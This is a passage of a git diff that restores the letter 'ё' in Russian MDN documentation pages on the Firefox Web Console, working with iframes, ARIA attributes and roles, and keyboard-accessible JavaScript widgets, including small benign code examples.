ней информацию.</p> +<p>Это часть замены старой <a href="/ru/docs/Error_Console" title="ru/docs/Error_Console">Консоли Ошибок</a>, встроенной в Firefox. Старая Консоль Ошибок выводила ошибки, предупреждения и сообщения от всех веб-страниц, ошибки самого выполнения самого браузера и его дополнений. Из-за этого было трудно выделить, сообщения от конкретной страницы. Новая Веб-консоль всегда привязана к определённой веб-странице и показывает только связанную с ней информацию.</p> <p>На другой половине Консоли ошибок заменили — <a href="/ru/docs/Tools/Browser_Console" title="/ru/docs/Tools/Browser_Console">Консоль браузера</a>, которая выводит ошибки, предупреждения и сообщения от кода браузера и от дополнений.</p> @@ -95,7 +95,7 @@ translation_of: Tools/Web_Console </tr> <tr> <td><strong>Количество повторов (Occurrences)</strong></td> - <td>Если строка которая генерирует предупреждение или ошибку выполняется больше одного раза, то на поле сообщений она попадет только один раз, но рядом появится счётчик который укажет сколько раз это сообщение было выведено в поле сообщений.</td> + <td>Если строка которая генерирует предупреждение или ошибку выполняется больше одного раза, то на поле сообщений она попадёт только один раз, но рядом появится счётчик который укажет сколько раз это сообщение было выведено в поле сообщений.</td> </tr> <tr> <td><strong>Имя файла и номер строки<br> @@ -194,7 +194,7 @@ translation_of: Tools/Web_Console <p><span id="result_box" lang="ru"><span>Если</span> сделанное <span>изменение</span> <span>аннулирует</span> <span>текущую схему</span> <span>-</span> <span>например,</span> <span>окно браузера</span> <span>изменяется</span> <span>или</span> <span>некоторые</span> <span>JavaScript</span> <span>изменяют</span> <span>CSS</span> <span>элемент -</span> <span>макет</span> <span>не пересчитывается</span> <span>немедленно.</span> <span>Вместо</span></span><span lang="ru"> <span>переформатирования </span></span><span lang="ru"> <span>в асинхронном режиме</span><span>,</span> <span>в следующий</span> <span>раз браузер</span> <span>решает что это</span> <span>должно быть сделано</span> <span>(как правило</span><span>,</span> <span>в следующий</span> <span>раз браузер</span> <span>перекрашивается</span><span>)</span><span>.</span> <span>Таким образом,</span> <span>браузер может</span> <span>накопить</span> <span>коллекцию</span> <span>основанную на недействующих </span><span>изменениях</span> <span>и</span> <span>пересчитать</span> <span>их эффект</span> <span>сразу</span><span>.</span></span></p> -<p><span id="result_box" lang="ru"><span>Тем не менее</span><span>,</span> <span>если</span> <span>какой-то</span> <span>JavaScript код</span> <span>читает что</span> <span>стиль</span><span> был изменен</span><span>,</span> <span>то</span> <span>браузер должен</span> <span>выполнить</span> <span>синхронное</span> <span>переформатирование</span></span><span lang="ru"><span> в порядке вычисленным расчетом стиля</span><span> чтобы вернуться</span><span>.</span> <span>Например</span><span>, код</span><span> как</span> <span>этот хочет вызвать</span> <span>немедленное</span><span>,</span> <span>синхронное</span><span>,</span> </span><span id="result_box" lang="ru"><span>переформатирование</span></span><span lang="ru"><span>,</span> <span>когда вызовет</span></span> <code>window.getComputedStyle(thing).height</code>:</p> +<p><span id="result_box" lang="ru"><span>Тем не менее</span><span>,</span> <span>если</span> <span>какой-то</span> <span>JavaScript код</span> <span>читает что</span> <span>стиль</span><span> был изменён</span><span>,</span> <span>то</span> <span>браузер должен</span> <span>выполнить</span> <span>синхронное</span> <span>переформатирование</span></span><span lang="ru"><span> в порядке вычисленным расчётом стиля</span><span> чтобы вернуться</span><span>.</span> <span>Например</span><span>, код</span><span> как</span> <span>этот хочет вызвать</span> <span>немедленное</span><span>,</span> <span>синхронное</span><span>,</span> </span><span id="result_box" lang="ru"><span>переформатирование</span></span><span lang="ru"><span>,</span> <span>когда вызовет</span></span> <code>window.getComputedStyle(thing).height</code>:</p> <pre class="brush: js notranslate">var thing = document.getElementById("the-thing"); thing.style.display = "inline-block"; @@ -275,7 +275,7 @@ var thingHeight = window.getComputedStyle(thing).height;</pre> </tbody> </table> -<p><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=863874">Bug 863874</a> <span id="result_box" lang="ru"><span>это</span> <span>мета-</span><span>ошибка</span> <span>для регистрации</span> <span>соответствующих</span> <span>сообщений о проблемах безопасности</span> <span>в веб-консоль</span><span>.</span> <span>Если у вас есть</span> <span>идеи для</span> <span>полезных</span> <span>функций, таких как</span> <span>те, что</span> <span>обсуждаемые здесь</span><span>,</span> <span>или заинтересованы</span> <span>в содействии</span><span>, проверьте</span> <span>мета-ошибку</span> <span>и ее зависимости</span><span>.</span></span></p> +<p><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=863874">Bug 863874</a> <span id="result_box" lang="ru"><span>это</span> <span>мета-</span><span>ошибка</span> <span>для регистрации</span> <span>соответствующих</span> <span>сообщений о проблемах безопасности</span> <span>в веб-консоль</span><span>.</span> <span>Если у вас есть</span> <span>идеи для</span> <span>полезных</span> <span>функций, таких как</span> <span>те, что</span> <span>обсуждаемые здесь</span><span>,</span> <span>или заинтересованы</span> <span>в содействии</span><span>, проверьте</span> <span>мета-ошибку</span> <span>и её зависимости</span><span>.</span></span></p> <h3 id="Сообщения_консоли_API"><span class="short_text" id="result_box" lang="ru"><span>Сообщения</span> <span>консоли API</span></span></h3> @@ -548,7 +548,7 @@ console.trace();</pre> <p><img alt="" src="https://mdn.mozillademos.org/files/7375/commandline-autocomplete.png" style="display: block; margin-left: auto; margin-right: auto;">Нажмите <kbd>Enter</kbd> или <kbd>Tab</kbd>, чтобы принять нужную подсказку, перемещайтесь вверх/вниз с помощью стрелок к другим вариантам подсказок или просто продолжайте набирать текст, если Вам не подходит ни один из вариантов.</p> -<p>Консоль выдает подсказки из области видимости текущего активного фрейма. Это значит, что если Вы уже достигли точки останова в функции, то у Вас будут доступны автоподстановки только для объектов, которые находятся в одной области видимости с этой функцией.</p> +<p>Консоль выдаёт подсказки из области видимости текущего активного фрейма. Это значит, что если Вы уже достигли точки останова в функции, то у Вас будут доступны автоподстановки только для объектов, которые находятся в одной области видимости с этой функцией.</p> <p>Вы можете получать такие же подсказки для элементов массива:</p> @@ -568,18 +568,18 @@ console.trace();</pre> <h3 id="Работа_с_iframes">Работа с iframes</h3> -<p>Если страница содержит встроенные <a href="/ru/docs/Web/HTML/Element/iframe">iframes</a>, Вы можете использовать команду <code>cd()</code> чтобы изменить область видимости в консоли на область определенного iframe, и после этого Вы сможете выполнять функции, которые содержит объект <a href="https://developer.mozilla.org/ru/docs/Web/API/Document">document</a> в этом iframe. Существует три способа выбрать iframe используя <code>cd()</code>:</p> +<p>Если страница содержит встроенные <a href="/ru/docs/Web/HTML/Element/iframe">iframes</a>, Вы можете использовать команду <code>cd()</code> чтобы изменить область видимости в консоли на область определённого iframe, и после этого Вы сможете выполнять функции, которые содержит объект <a href="https://developer.mozilla.org/ru/docs/Web/API/Document">document</a> в этом iframe. Существует три способа выбрать iframe используя <code>cd()</code>:</p> -<p>Вы можете передать DOM-элемент для определенного iframe :</p> +<p>Вы можете передать DOM-элемент для определённого iframe :</p> <pre class="brush: js notranslate">var frame = document.getElementById("frame1"); cd(frame);</pre> -<p>Вы можете передать CSS селектор для определенного iframe:</p> +<p>Вы можете передать CSS селектор для определённого iframe:</p> <pre class="brush: js notranslate">cd("#frame1");</pre> -<p>Вы можете передать глобальный объект <a href="https://developer.mozilla.org/ru/docs/Web/API/Window">Window</a> для определенного iframe:</p> +<p>Вы можете передать глобальный объект <a href="https://developer.mozilla.org/ru/docs/Web/API/Window">Window</a> для определённого iframe:</p> <pre class="brush: js notranslate">var frame = document.getElementById("frame1"); cd(frame.contentWindow); @@ -623,7 +623,7 @@ cd(frame.contentWindow); <p>Сейчас Вы сможете видеть, что глобальный объект <a href="https://developer.mozilla.org/ru/docs/Web/API/Window">Window</a> это теперь наш iframe:</p> -<p><img alt="" src="https://mdn.mozillademos.org/files/7355/web-console-iframe-document.png" style="display: block; height: 75px; margin-left: auto; margin-right: auto; width: 632px;">и сможете выполнить вызов функции, определенной в этом iframe:</p> +<p><img alt="" src="https://mdn.mozillademos.org/files/7355/web-console-iframe-document.png" style="display: block; height: 75px; margin-left: auto; margin-right: auto; width: 632px;">и сможете выполнить вызов функции, определённой в этом iframe:</p> <p><img alt="" src="https://mdn.mozillademos.org/files/7357/web-console-iframe-function.png" style="display: block; height: 77px; margin-left: auto; margin-right: auto; width: 632px;"></p> diff --git a/files/ru/tools/web_console/split_console/index.html b/files/ru/tools/web_console/split_console/index.html index 8085c9a199..11573ae938 100644 --- a/files/ru/tools/web_console/split_console/index.html +++ b/files/ru/tools/web_console/split_console/index.html @@ -5,14 +5,14 @@ translation_of: Tools/Web_Console/Split_console --- <div>{{ToolsSidebar}}</div> -<p><span class="VIiyi" lang="ru"><span class="ChMk0b JLqJ4b"><span>Вы можете использовать консоль вместе с другими инструментами.</span></span> <span class="ChMk0b JLqJ4b"><span>Находясь в другом инструменте панели инструментов, просто нажмите клавишу <kbd>Esc</kbd> или выберите команду «Показать разделенную консоль» в меню панели инструментов.</span></span> <span class="ChMk0b JLqJ4b"><span>Панель инструментов теперь будет разделена, с исходным инструментом вверху и веб-консолью внизу.</span></span></span></p> +<p><span class="VIiyi" lang="ru"><span class="ChMk0b JLqJ4b"><span>Вы можете использовать консоль вместе с другими инструментами.</span></span> <span class="ChMk0b JLqJ4b"><span>Находясь в другом инструменте панели инструментов, просто нажмите клавишу <kbd>Esc</kbd> или выберите команду «Показать разделённую консоль» в меню панели инструментов.</span></span> <span class="ChMk0b JLqJ4b"><span>Панель инструментов теперь будет разделена, с исходным инструментом вверху и веб-консолью внизу.</span></span></span></p> -<p><span class="VIiyi" lang="ru"><span class="ChMk0b JLqJ4b"><span>Вы можете закрыть разделенную консоль, снова нажав <kbd>Esc</kbd> или выбрав команду меню «Скрыть разделенную консоль».</span></span></span></p> +<p><span class="VIiyi" lang="ru"><span class="ChMk0b JLqJ4b"><span>Вы можете закрыть разделённую консоль, снова нажав <kbd>Esc</kbd> или выбрав команду меню «Скрыть разделённую консоль».</span></span></span></p> <p>{{EmbedYouTube("G2hyxhPHyXo")}}</p> <p>Как обычно, <code>$0</code> работает как сокращение для элемента, выбранного в данный момент в Инспекторе:</p> -<p><img alt="" src="https://mdn.mozillademos.org/files/6619/web-console-split-inspector.png" style="display: block; margin-left: auto; margin-right: auto;">При использовании разделенной консоли с отладчиком, областью действия консоли является текущий выполняемый кадр стека. Таким образом, если вы нажмете точку останова в функции, область действия будет областью действия функции. Вы получите автозаполнение для объектов, определенных в функции, и сможете легко изменять их на лету:</p> +<p><img alt="" src="https://mdn.mozillademos.org/files/6619/web-console-split-inspector.png" style="display: block; margin-left: auto; margin-right: auto;">При использовании разделённой консоли с отладчиком, областью действия консоли является текущий выполняемый кадр стека. Таким образом, если вы нажмёте точку останова в функции, область действия будет областью действия функции. Вы получите автозаполнение для объектов, определённых в функции, и сможете легко изменять их на лету:</p> <p><img alt="" src="https://mdn.mozillademos.org/files/6621/web-console-split-debugger.png" style="display: block; margin-left: auto; margin-right: auto;"></p> diff --git a/files/ru/tools/working_with_iframes/index.html b/files/ru/tools/working_with_iframes/index.html index c1985d882a..80c09a8ad1 100644 --- a/files/ru/tools/working_with_iframes/index.html +++ b/files/ru/tools/working_with_iframes/index.html @@ -13,7 +13,7 @@ translation_of: Tools/Working_with_iframes <p>{{EmbedYouTube("Me9hjqd74m8")}}</p> -<p><span id="result_box" lang="ru"><span>Эта функция</span> <span>отключена по умолчанию</span><span>:</span> <span>чтобы</span> <span>включить ее</span><span>, откройте</span></span> <a href="/en-US/docs/Tools/Tools_Toolbox#Settings">developer tool settings</a> и выберите "Select an iframe as the currently targeted document":</p> +<p><span id="result_box" lang="ru"><span>Эта функция</span> <span>отключена по умолчанию</span><span>:</span> <span>чтобы</span> <span>включить её</span><span>, откройте</span></span> <a href="/en-US/docs/Tools/Tools_Toolbox#Settings">developer tool settings</a> и выберите "Select an iframe as the currently targeted document":</p> <p><img alt="" src="https://mdn.mozillademos.org/files/8551/frame-selection-setting.png" style="display: block; margin-left: auto; margin-right: auto;"> <span class="short_text" id="result_box" lang="ru"><span>Вы не</span> <span>увидите новую</span> <span>кнопку на панели инструментов</span><span>:</span></span></p> diff --git a/files/ru/web/accessibility/aria/aria_techniques/index.html b/files/ru/web/accessibility/aria/aria_techniques/index.html index 2e29856a5c..192996ad83 100644 --- a/files/ru/web/accessibility/aria/aria_techniques/index.html +++ b/files/ru/web/accessibility/aria/aria_techniques/index.html @@ -47,7 +47,7 @@ translation_of: Web/Accessibility/ARIA/ARIA_Techniques <h3 id="Композиционные_роли">Композиционные роли</h3> -<p>Приведенные ниже методы описывают каждую композиционную роль, а также их требуемые и необязательные дочерние роли.</p> +<p>Приведённые ниже методы описывают каждую композиционную роль, а также их требуемые и необязательные дочерние роли.</p> <div class="index"> <ul> diff --git a/files/ru/web/accessibility/aria/aria_techniques/using_the_aria-describedby_attribute/index.html b/files/ru/web/accessibility/aria/aria_techniques/using_the_aria-describedby_attribute/index.html index e481272f17..a2d825dcb0 100644 --- a/files/ru/web/accessibility/aria/aria_techniques/using_the_aria-describedby_attribute/index.html +++ b/files/ru/web/accessibility/aria/aria_techniques/using_the_aria-describedby_attribute/index.html @@ -15,13 +15,13 @@ translation_of: Web/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-describedb <h3 id="Значение">Значение</h3> -<p>разделенный пробелами список ID элементов</p> +<p>разделённый пробелами список ID элементов</p> <h3 id="Возможные_последствия_для_пользовательских_агентов_и_вспомогательных_технологий">Возможные последствия для пользовательских агентов и вспомогательных технологий</h3> -<div class="note"><strong>Примечание:</strong> Мнения о том, как вспомогательная технология должна справляться с этой техникой, могут отличаться. Приведенная выше информация является одним из таких мнений и поэтому не носит нормативного характера.</div> +<div class="note"><strong>Примечание:</strong> Мнения о том, как вспомогательная технология должна справляться с этой техникой, могут отличаться. Приведённая выше информация является одним из таких мнений и поэтому не носит нормативного характера.</div> <h3 id="Примеры">Примеры</h3> diff --git a/files/ru/web/accessibility/aria/aria_techniques/using_the_aria-labelledby_attribute/index.html b/files/ru/web/accessibility/aria/aria_techniques/using_the_aria-labelledby_attribute/index.html index 97a87de95b..06f511c886 100644 --- a/files/ru/web/accessibility/aria/aria_techniques/using_the_aria-labelledby_attribute/index.html +++ b/files/ru/web/accessibility/aria/aria_techniques/using_the_aria-labelledby_attribute/index.html @@ -17,7 +17,7 @@ translation_of: Web/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-labelledby <h3 id="Значение">Значение</h3> -<p>Список идентификаторов (id) разделенных пробелом</p> +<p>Список идентификаторов (id) разделённых пробелом</p> <h3 id="Возможные_эффекты_в_клиентских_приложениях_и_вспомогательных_технологиях">Возможные эффекты в клиентских приложениях и вспомогательных технологиях</h3> diff --git a/files/ru/web/accessibility/aria/index.html b/files/ru/web/accessibility/aria/index.html index b2dc0f6ec3..8a983d96e0 100644 --- a/files/ru/web/accessibility/aria/index.html +++ b/files/ru/web/accessibility/aria/index.html @@ -49,9 +49,9 @@ translation_of: Web/Accessibility/ARIA <dl> <dt><a class="external" href="/en-US/docs/Accessibility/Keyboard-navigable_JavaScript_widgets">Навигация с помощью клавиатуры и фокус в виджетах на JavaScript</a></dt> - <dd>Первый шаг в создании доступных JavaScript виджетов, позволяющих производить навигацию с помощью клавиатуры. Статья описывает последовательные шаги по достижению цели. Еще один хороший ресурс - <a class="external" href="http://www.yuiblog.com/blog/2009/02/23/managing-focus/">статья Yahoo! об управлении фокусом.</a></dd> + <dd>Первый шаг в создании доступных JavaScript виджетов, позволяющих производить навигацию с помощью клавиатуры. Статья описывает последовательные шаги по достижению цели. Ещё один хороший ресурс - <a class="external" href="http://www.yuiblog.com/blog/2009/02/23/managing-focus/">статья Yahoo! об управлении фокусом.</a></dd> <dt><a class="external" href="http://access.aol.com/dhtml-style-guide-working-group/">Style Guide for Keyboard Navigation</a></dt> - <dd>В этом руководстве описываются способы управления самыми распространенными виджетами с клавиатуры.</dd> + <dd>В этом руководстве описываются способы управления самыми распространёнными виджетами с клавиатуры.</dd> </dl> <h3 id="Дополнительные_ресурсы_по_ARIA">Дополнительные ресурсы по ARIA</h3> @@ -68,7 +68,7 @@ translation_of: Web/Accessibility/ARIA <h3 id="Список_рассылки.">Список рассылки.</h3> <dl> - <dt><a class="link-https" href="https://groups.google.com/forum/#!forum/free-aria">Открытая Google Group, посвященная ARIA</a></dt> + <dt><a class="link-https" href="https://groups.google.com/forum/#!forum/free-aria">Открытая Google Group, посвящённая ARIA</a></dt> <dd>Здесь можно задать вопрос об ARIA, а также предложить улучшение существующей документации, которая находится там же.</dd> </dl> @@ -94,7 +94,7 @@ translation_of: Web/Accessibility/ARIA <dt><a class="external" href="http://mail.yahoo.com">Yahoo! Mail</a></dt> <dd>Детище Yahoo! - Yahoo! Mail, веб-приложение, выглядящее практически как нативное и вполне доступное. После <a class="external" href="http://www.marcozehe.de/2011/09/21/review-the-all-new-yahoo-mail-web-application/">обзора Yahoo! Mail</a> с использованием экранной читалки Marco Zehe сказал: "Хорошая работа, не сбавляйте обороты!".</dd> <dt><a class="external" href="http://search.yahoo.com">Yahoo! Search</a></dt> - <dd>Yahoo! проделали невероятную работу по продвижению ARIA в своем поисковике, используя все возможности и <a class="external" href="http://ycorpblog.com/2011/03/23/searchdirect/">делясь своим опытом</a>. Yahoo! Search использует одновременно ARIA landmarks, live regions, и widgets.</dd> + <dd>Yahoo! проделали невероятную работу по продвижению ARIA в своём поисковике, используя все возможности и <a class="external" href="http://ycorpblog.com/2011/03/23/searchdirect/">делясь своим опытом</a>. Yahoo! Search использует одновременно ARIA landmarks, live regions, и widgets.</dd> </dl> <h3 id="Стандартизация.">Стандартизация.</h3> diff --git a/files/ru/web/accessibility/aria/roles/checkbox_role/index.html b/files/ru/web/accessibility/aria/roles/checkbox_role/index.html index 7301c80fa2..5a4c474ed2 100644 --- a/files/ru/web/accessibility/aria/roles/checkbox_role/index.html +++ b/files/ru/web/accessibility/aria/roles/checkbox_role/index.html @@ -17,7 +17,7 @@ translation_of: Web/Accessibility/ARIA/Roles/checkbox_role <h2 id="Описание">Описание</h2> -<p>Нативный <a href="/en-US/docs/Web/HTML/Element/input/checkbox">HTML checkbox</a> элемент управления может находиться только в двух состояниях отмеченности - "отмечен" или "не отмечен", с <a href="/en-US/docs/Web/HTML/Element/input/checkbox#Indeterminate_state_checkboxes">неопределенным</a> состоянием, устанавливаемым с помощью JavaScript. Аналогично элемент с <code>role="checkbox"</code> может находиться в трех состояниях, обозначенных через <code>aria-checked</code> атрибут: <code>true</code>, <code>false</code>, or <code>mixed</code>.</p> +<p>Нативный <a href="/en-US/docs/Web/HTML/Element/input/checkbox">HTML checkbox</a> элемент управления может находиться только в двух состояниях отмеченности - "отмечен" или "не отмечен", с <a href="/en-US/docs/Web/HTML/Element/input/checkbox#Indeterminate_state_checkboxes">неопределённым</a> состоянием, устанавливаемым с помощью JavaScript. Аналогично элемент с <code>role="checkbox"</code> может находиться в трёх состояниях, обозначенных через <code>aria-checked</code> атрибут: <code>true</code>, <code>false</code>, or <code>mixed</code>.</p> <p>Поскольку чекбокс является интерактивным элементом, он должен быть фокусируемым и доступным при помощи клавиатуры. Если роль установлена для нефокусируемого элемента, чтобы исправить ситуацию, используйте атрибут <code>tabindex</code>. Ожидаемый способ активации чекбокса при помощи клавиатуры - <kbd>Пробел</kbd> .</p> @@ -31,14 +31,14 @@ translation_of: Web/Accessibility/ARIA/Roles/checkbox_role <dl> <dt>aria-checked</dt> <dd> - <p>Значение <code>aria-checked</code> определяет состояние чекбокса. Этот атрибут может принимать одно из трех значений:</p> + <p>Значение <code>aria-checked</code> определяет состояние чекбокса. Этот атрибут может принимать одно из трёх значений:</p> <p><code>true</code><br> Чекбокс отмечен<br> <code>false</code><br> Чекбокс не отмечен<br> <code>mixed</code><br> - Чекбокс частично отмечен, или в неопределенном состоянии</p> + Чекбокс частично отмечен, или в неопределённом состоянии</p> </dd> <dt>tabindex="0"</dt> <dd>Делает элемент фокусируемым, так что пользователь ассистивных технологий может сразу перейти к нему и начать читать.</dd> @@ -67,7 +67,7 @@ translation_of: Web/Accessibility/ARIA/Roles/checkbox_role <dt>onclick</dt> <dd>Обрабатывает клики, которые изменяют состояние чекбокса, меняя значение атрибута <code>aria-checked</code> и внешний вид чекбокса так, чтобы он выглядел отмеченным млм неотмеченным для зрячего пользователя.</dd> <dt>onKeyPress</dt> - <dd>Обрабатывает случай, когда пользователь нажимает <kbd>Пробел</kbd> для смены состояния чекбокса путем изменения значения атрибута <code>aria-checked</code> и внешнего вида чекбокса так, чтобы он выглядел отмеченным млм неотмеченным для зрячего пользователя.</dd> + <dd>Обрабатывает случай, когда пользователь нажимает <kbd>Пробел</kbd> для смены состояния чекбокса путём изменения значения атрибута <code>aria-checked</code> и внешнего вида чекбокса так, чтобы он выглядел отмеченным млм неотмеченным для зрячего пользователя.</dd> </dl> <dl> @@ -75,7 +75,7 @@ translation_of: Web/Accessibility/ARIA/Roles/checkbox_role <h3 id="Примеры">Примеры</h3> -<p>Пример ниже создает простой чекбокс, используя CSS и JavaScript для обработки отмеченного и неотмеченного состояний элемента.</p> +<p>Пример ниже создаёт простой чекбокс, используя CSS и JavaScript для обработки отмеченного и неотмеченного состояний элемента.</p> <h4 id="HTML">HTML</h4> @@ -128,7 +128,7 @@ translation_of: Web/Accessibility/ARIA/Roles/checkbox_role <li>Программы чтения с экрана должны объявить элемент как чекбокс и при необходимости предоставить инструкции о том, как его активировать.</li> </ul> -<div class="note"><strong>Замечание:</strong> Мнения относительно того, как ассистивные технологии должны работать в таких случаях, отличаются. Информация, приведенная выше, также одно из таких мнений, и не является нормативом.</div> +<div class="note"><strong>Замечание:</strong> Мнения относительно того, как ассистивные технологии должны работать в таких случаях, отличаются. Информация, приведённая выше, также одно из таких мнений, и не является нормативом.</div> <h2 id="Лучшие_практики">Лучшие практики</h2> diff --git a/files/ru/web/accessibility/index.html b/files/ru/web/accessibility/index.html index 5906df0a22..4caa565c8a 100644 --- a/files/ru/web/accessibility/index.html +++ b/files/ru/web/accessibility/index.html @@ -13,7 +13,7 @@ translation_of: Web/Accessibility <p>Технологии облегчают жизнь многим людям. А людям с ограниченными возможностями технологии дают такие возможности, которые ранее им были недоступны. Доступность в контексте разработки подразумевает создание такого контента, пользоваться которым мог бы каждый, несмотря на индивидуальные физические или когнитивные способности и вне зависимости от того, как они получают доступ в сеть.</p> -<p>«Термин "специальные возможности" часто применяется для описания возможности использования или удобства использования системы людьми с ограниченными возможностями, например, инвалидами на креслах-колясках. Это понятие следует понимать более широко, например, оно охватывает шрифт Брайля, пандусы для инвалидов на креслах-колясках, аудио-сигналы на пешеходных переходах, оборудованные рифленой тактильной плиткой пешеходные дорожки, разработку веб-сайтов и так далее." <a class="external" href="http://en.wikipedia.org/wiki/Accessibility">Статья Accessibility в английской Википедии</a></p> +<p>«Термин "специальные возможности" часто применяется для описания возможности использования или удобства использования системы людьми с ограниченными возможностями, например, инвалидами на креслах-колясках. Это понятие следует понимать более широко, например, оно охватывает шрифт Брайля, пандусы для инвалидов на креслах-колясках, аудио-сигналы на пешеходных переходах, оборудованные рифлёной тактильной плиткой пешеходные дорожки, разработку веб-сайтов и так далее." <a class="external" href="http://en.wikipedia.org/wiki/Accessibility">Статья Accessibility в английской Википедии</a></p> <p>"<strong>Интернет принципиально создан для всех людей на Земле,</strong> независимо от их аппаратных, программных, языковых, культурных, территориальных, физических или умственных способностей." <a href="http://www.w3.org/standards/webdesign/accessibility" title="http://www.w3.org/standards/webdesign/accessibility">W3C - Accessibility</a></p> diff --git a/files/ru/web/accessibility/keyboard-navigable_javascript_widgets/index.html b/files/ru/web/accessibility/keyboard-navigable_javascript_widgets/index.html index 6e67f41591..4c7755c6a1 100644 --- a/files/ru/web/accessibility/keyboard-navigable_javascript_widgets/index.html +++ b/files/ru/web/accessibility/keyboard-navigable_javascript_widgets/index.html @@ -40,12 +40,12 @@ translation_of: Web/Accessibility/Keyboard-navigable_JavaScript_widgets <tr> <td>Нуль (<code>tabindex="0"</code>)</td> <td>Возможен</td> - <td>Происходит поочередно, исходя из позиции элемента внутри документа</td> + <td>Происходит поочерёдно, исходя из позиции элемента внутри документа</td> </tr> <tr> <td>Более нуля (например <code>tabindex="33"</code>)</td> <td>Возможен</td> - <td>Значение атрибута <code>tabindex</code> указывает очередность, в которой элемент получит фокус. Чем меньше значение атрибута, тем раньше элемент получит фокус. В любом случае, фокус придет на такие элементы раньше, чем на элементы с <code>tabindex="0"</code> и элементы, которые способны получить фокус без атрибута <code>tabindex</code> (например, <code>tabindex="7"</code> получит фокус раньше <code>tabindex="11"</code>)</td> + <td>Значение атрибута <code>tabindex</code> указывает очерёдность, в которой элемент получит фокус. Чем меньше значение атрибута, тем раньше элемент получит фокус. В любом случае, фокус придёт на такие элементы раньше, чем на элементы с <code>tabindex="0"</code> и элементы, которые способны получить фокус без атрибута <code>tabindex</code> (например, <code>tabindex="7"</code> получит фокус раньше <code>tabindex="11"</code>)</td> </tr> </tbody> </table> @@ -54,7 +54,7 @@ translation_of: Web/Accessibility/Keyboard-navigable_JavaScript_widgets <p>Чтобы сделать простой виджет доступным через клавишу Tab, задайте <code>tabindex="0"</code> на HTML элементах {{HTMLElement("div")}} или {{HTMLElement("span")}}, из которых он состоит. Ниже представлен пример эмулирования чекбоксов. Вместо элементов input в примере используется {{HTMLElement("span")}}.</p> -<p><em>Пример 1: Простой виджет, эмулирующий работу чекбосов путем смены изображений. Виджет использует tabindex, чтобы обеспечить доступ с клавиатуры.</em></p> +<p><em>Пример 1: Простой виджет, эмулирующий работу чекбосов путём смены изображений. Виджет использует tabindex, чтобы обеспечить доступ с клавиатуры.</em></p> <pre class="brush: html"><!-- Без атрибута tabindex, элементы <span> не смогут принимать фокус с клавиатуры --> <div> @@ -81,7 +81,7 @@ translation_of: Web/Accessibility/Keyboard-navigable_JavaScript_widgets <p>Безусловно есть необходимость создания более сложных виджетов. В качестве примеров можно привести меню, панели табов, различные динамические таблицы, представления для информации, имеющей древовидную структуру. Для таких контролов родительский элемент должен иметь атрибут <code>tabindex="0"</code>. В таком случае он сможет попасть в фокус с клавиатуры. Все дочерние элементы (пункты меню, отдельные табы, ячейки, строки) должны иметь <code>tabindex="-1"</code>, чтобы не попадать в фокус при нажатии tab. Пользователи должны иметь возможность путешествовать по дочерним элементам при помощи стрелочек на клавиатуре.</p> -<p>Ниже приведен пример, который демонстрирует использование этой техники для реализации вложенного меню. После того, как в фокус попадает основной элемент меню ({{HTMLElement("ul")}}), разработчик должен программно управлять фокусом, реагируя на нажатия клавиш со стрелочками. Для описания техники управления фокусом внутри виджета смотрите раздел «Управление фокусом внутри виджета» ниже в данной статье.</p> +<p>Ниже приведён пример, который демонстрирует использование этой техники для реализации вложенного меню. После того, как в фокус попадает основной элемент меню ({{HTMLElement("ul")}}), разработчик должен программно управлять фокусом, реагируя на нажатия клавиш со стрелочками. Для описания техники управления фокусом внутри виджета смотрите раздел «Управление фокусом внутри виджета» ниже в данной статье.</p> <p><em>Пример 2: Меню, использующее атрибут tabindex для осуществления доступа с клавиатуры</em></p> @@ -98,7 +98,7 @@ translation_of: Web/Accessibility/Keyboard-navigable_JavaScript_widgets <ul id="styleMenu" title="Стиль" tabindex="-1"> <li id="italic" tabindex="-1">Наклонный</li> <li id="bold" tabindex="-1">Жирный</li> - <li id="underline" tabindex="-1">Подчеркнутый</li> + <li id="underline" tabindex="-1">Подчёркнутый</li> </ul> </li> <li id="mb1_menu3" tabindex="-1"> Выравнивание @@ -117,7 +117,7 @@ translation_of: Web/Accessibility/Keyboard-navigable_JavaScript_widgets <h3 id="Управление_фокусом_внутри_виджета">Управление фокусом внутри виджета</h3> -<p>Когда пользователь уходит с виджета, а потом возвращается обратно, фокус должен вернутся на определенный элемент, у которого был фокус раньше. Например, на конкретный элемент дерева или ячейку. Есть два варианта, которыми этого можно добиться:</p> +<p>Когда пользователь уходит с виджета, а потом возвращается обратно, фокус должен вернутся на определённый элемент, у которого был фокус раньше. Например, на конкретный элемент дерева или ячейку. Есть два варианта, которыми этого можно добиться:</p> <ol> <li>Переходящий <code>tabindex</code>: программное перемещение фокуса</li> @@ -126,7 +126,7 @@ translation_of: Web/Accessibility/Keyboard-navigable_JavaScript_widgets <h4 id="Техника_первая_Переходящий_tabindex">Техника первая: Переходящий tabindex</h4> -<p>Идея данной техники заключается в выставлении атрибута <code>tabindex</code> в нулевое значение для элемента, который последним находился в фокусе. При этом если пользователь уйдет табом с виджета, а потом вернется обратно, элемент восстановит фокус правильно. Заметьте, что выставляя <code>tabindex</code> в "0", необходимо выставлять <code>tabindex="-1"</code> для предыдущего выделенного элемента. Эта техника требует выставлять фокус элементам программно, реагируя на нажатие клавиш.</p> +<p>Идея данной техники заключается в выставлении атрибута <code>tabindex</code> в нулевое значение для элемента, который последним находился в фокусе. При этом если пользователь уйдёт табом с виджета, а потом вернётся обратно, элемент восстановит фокус правильно. Заметьте, что выставляя <code>tabindex</code> в "0", необходимо выставлять <code>tabindex="-1"</code> для предыдущего выделенного элемента. Эта техника требует выставлять фокус элементам программно, реагируя на нажатие клавиш.</p> <p>Для этого необходимо обрабатывать событие keydown для каждого дочернего элемента виджета. Когда пользователь нажимает на стрелочки на клавиатуре, чтобы переместиться на другой элемент следует:</p> @@ -142,7 +142,7 @@ translation_of: Web/Accessibility/Keyboard-navigable_JavaScript_widgets <h6 id="Используйте_element.focus()_чтобы_задать_фокус_элементу">Используйте element.focus() чтобы задать фокус элементу</h6> -<p>Не используйте <code>createEvent()</code>, <code>initEvent()</code> and <code>dispatchEvent()</code> чтобы задать фокус. Событие DOM focus должно использовать только для получения информации о том, что произошел фокус на элемент, оно генерируется системой, когда какой-либо элемент попал в фокус. Оно не должно использовать для того, чтобы задать фокус. Вместо этого используйте <code>element.focus()</code>.</p> +<p>Не используйте <code>createEvent()</code>, <code>initEvent()</code> and <code>dispatchEvent()</code> чтобы задать фокус. 